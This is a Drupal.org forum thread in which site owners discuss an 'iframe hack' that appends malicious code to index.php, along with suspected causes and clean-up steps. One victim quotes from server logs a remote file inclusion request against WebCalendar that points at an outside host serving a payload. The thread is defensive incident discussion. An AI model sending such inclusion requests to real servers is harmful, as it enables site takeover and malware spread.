In another thread, http://drupal.org/node/229750, 3 separate cases of the "Iframe Hack" have been mentioned. I would like to start a new, more generalized thread about this apparently quite serious and dangerous thing. If you feed Google with "iframe hack" you can read for yourself, or check out these links which I took from the results: http://www.spam-whackers.com/blog/2007/09/27/iframe-hack/ and Dr. Dobbs refers to a TrendMicro article: http://blog.trendmicro.com/another-malware-pulls-an-italian-job/ . Now, I'm not sure if the hacks in the Drupal thread are the same as the ones described in these articles, but they do look alike.
The whole thing starts by adding some malicious Javascript to a site's index.php. From then on, it looks as if any visitor's computer can be infected, stuffed with keyloggers etc. etc.
Could any knowledgeable person out here take a look at the 229750 thread above, and also at the articles I mentioned? From what I read in TrendMicro, it's not exactly a new attack, but from the 3 cases mentioned higher the danger is obviously still lurking.
Question: what am I to think about all this? Is this danger still there? Are the 3 hacked sites isolated cases, or is there more trouble going on? And first and foremost: how can it be prevented that the malicious Javascript gets installed in the first place?
Comments
Not a Drupal issue
Not a Drupal issue. If your Drupal files are being modified, you have a server security problem.
That depends. Security is
That depends. Security is usually a shared concern, of the server, definitely, but also of the site maintainer, and of the module writer. This iframe hack appears to be a bit of complicated matter, and I wouldn't dismiss it too soon as "not my business". And it's not my site which is being hacked, fyi, it's simply a matter which was discussed in another thread without a real conclusion, and I would like to make sure that there are no Drupal weaknesses involved.
Altered files
I looked at the cited URLs. They refer to websites that are either malicious to begin with, or have been hacked. In the Drupal.org discussion you cited, the original poster referred to "extra code included at the bottom of the file."
If your executable files are being changed, then you have either a permissions problem (on a shared server) or an intrusion. Under no circumstances should a webserver be configured so that it can change executable files. Even if Drupal were full of security holes (which it is not), Drupal can not alter its own executable code on a properly configured server.
I'm eager to see bona fide security issues discovered (and reported properly to the security team) but this does not seem to be one.
It's possible for a site admin to allow users to post Javascript. The "Full HTML" filter is particularly dangerous and should not be made available to untrusted users.
quick fix might be....
This particular hack appended lines to the index.php file.
What if drupal's last line of the index.php was:
return 0;
or perhaps
exit;
Appended text might never be reached.
-John
-John
Me too: iframe hack. Webcalendar responsible?
My Drupal 5.2 site has been hacked, too. Someone added an
iframestatement to index.php so that on every page of my site several windows popped up, asking users to install an .exe file to play porn videos. Actually, my site has become unusable because of all those windows popping up.As I couldn't find the
iframestatement neither in the MySQL database nor in any of the Drupal files (except for index.php) I didn't know how to get rid of the malicious code which modified my index.php.For now, I blame a corrupt Webcalender distribution as the main security hole (working hypothesis):
Analyzing my downloaded infected site with AVG AntiVirus 7.5, a trojan horse was found in some of my Webcalendar files (Perl source code). I installed Drupal's webcal module together with a Webcalendar distribution a few months ago. Though I never used it on my site, the files still were on the server hosting my website (I simply forgot to delete them). I found some hidden subdirectories containing cron files.
Furthermore, browsing the log files I noticed a Brazilian server trying to access
webcalendar/tools/send_reminders.phpandwebcalendar/ws/login.php?noSet=0&includedir=http://www.waddington.ws/xt.dat???repeatedly.By searching several pages of my site in Google's cache, I finally found out that the latest "clean" version of my website dated three days ago. I installed the corresponding backup copy of the entire site, deleted all of the Webcalendar files, upgraded to Drupal 5.7 (as I should have done earlier...), changed all of my passwords, changed permissions of index.php to "444" (as proposed in http://drupal.org/node/229750#comment-771532) and added a line of code at the end of index.php:
return 0;. All in all it took me a whole day to restore my entire website and to apply updates and changes I made after the date of the last "clean" backup.What I have learned:
Until today, my site is still clean.
Observations from a current iframe hack
Last week, an old Drupal 4.7 site began to get hit.
the client has 2 sites on a shared server
One Drupal, one plain html.
This week, a brand new 6.12 site running on AT&T servers got hit.
Different hosting company for each.
the 'hack' code being input for the 4.7 site is
The 'hack' code for the 6.12 site is
Observations
Corrections:
* The infected files have been repaired
* the permissions for all infected files has been set to 444
Hackers
I have been changing the index.php daily.
I now have new passwords.
I set index.php to read settings.
Paul